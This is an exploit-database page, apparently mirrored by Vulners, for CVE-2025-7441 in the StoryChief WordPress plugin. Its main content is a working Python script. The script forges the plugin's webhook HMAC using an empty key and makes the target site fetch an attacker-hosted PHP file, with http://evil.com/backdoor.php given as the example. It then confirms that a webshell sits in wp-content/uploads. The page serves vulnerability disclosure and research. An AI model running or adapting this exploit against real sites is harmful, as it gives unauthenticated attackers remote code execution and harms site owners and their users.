Lucene search
K

StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload

🗓️ 26 Aug 2025 00:00:00Reported by xpl0decType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 363 Views

StoryChief WordPress Plugin <=1.0.42 arbitrary file upload vulnerability CVE-2025-7441; PoC.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2025-7441
7 Oct 202512:12
githubexploit
GithubExploit
Exploit for CVE-2025-7441
14 Oct 202508:16
githubexploit
Circl
CVE-2025-7441
29 Aug 202521:02
circl
CNNVD
WordPress plugin StoryChief 代码问题漏洞
16 Aug 202500:00
cnnvd
CNVD
WordPress Plugin StoryChief File Upload Vulnerability
20 Aug 202500:00
cnvd
CVE
CVE-2025-7441
16 Aug 202503:38
cve
Cvelist
CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
16 Aug 202503:38
cvelist
EUVD
EUVD-2025-25062
3 Oct 202520:07
euvd
Metasploit
WordPress StoryChief Plugin Unauthenticated RCE
19 Feb 202618:59
metasploit
Rows per page
# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
# Exploit Author: xpl0dec
# Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler
# Software Link: https://github.com/Story-Chief/wordpress/
# Version: <= 1.0.42
# Tested on: Linux
# CVE : CVE-2025-7441
# CVSS Score : 9.8


# Step to reproduce :
# 1. Create a file with the .php extension and fill it with:
# <?php 
# header(“Content-Type: image/jpeg”);
# echo “<?php phpinfo(); ?>”;
# ?>
# 2. Adjust the echo phpinfo section as needed
# 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php
# 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php
# 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url>

from datetime import datetime
import requests
import json
import hmac
import hashlib
import sys
import time
import os

def banner():
	print(r"""
  _   _  ____ _____ _   _ _____ _  __  ____    _ __   __
 | \ | |/ ___| ____| | | | ____| |/ / |  _ \  / \\ \ / /
 |  \| | |  _|  _| | |_| |  _| | ' /  | | | |/ _ \\ V / 
 | |\  | |_| | |___|  _  | |___| . \  | |_| / ___ \| |  
 |_| \_|\____|_____|_| |_|_____|_|\_\ |____/_/   \_\_|  
                                                        
  PoC exploit CVE-2025-7441 by xpl0dec
	""")

if __name__ == "__main__":
    banner()
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>")
        sys.exit(1)

    url = sys.argv[1] + "/wp-json/storychief/webhook"

    dummy = {
        "meta": {
            "event": "publish"
        },
        "data": {
            "featured_image": {
                "data": {
                    "sizes": {
                        "full": sys.argv[2]
                    }
                }
            }
        }
    }

    json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True)
    json_string = json_string.replace("/", "\\/").encode()

    signature = hmac.new(
        "".encode(),
        json_string,
        digestmod=hashlib.sha256
    ).hexdigest()


    headers = {
        "Content-Type": "application/json"
    }

    payload = {
        "meta": {
            "mac" : signature,
            "event": "publish"
        },
        "data": {
            "featured_image": {
                "data": {
                    "sizes": {
                        "full": sys.argv[2]
                    }
                }
            }
        }
    }


    print("[+] get hmac... [+]")
    time.sleep(2)
    print("hmac : " + signature)


    response = requests.post(url, headers=headers, data=json.dumps(payload))

    if "permalink" in response.text:
        print("[+] Response Success [+]")
        time.sleep(2)
        print("[+] Check backdoor from uploaded... [+]")

    current_datetime = datetime.now()
    month = str(current_datetime.month).zfill(2)
    year = current_datetime.year
    file_backdoor = os.path.basename(sys.argv[2])
    
    get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")

    if get_backdoor.status_code == 200:
        print("[+] Exploitation Success [+]")
        time.sleep(2)
        print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.78942
SSVC
363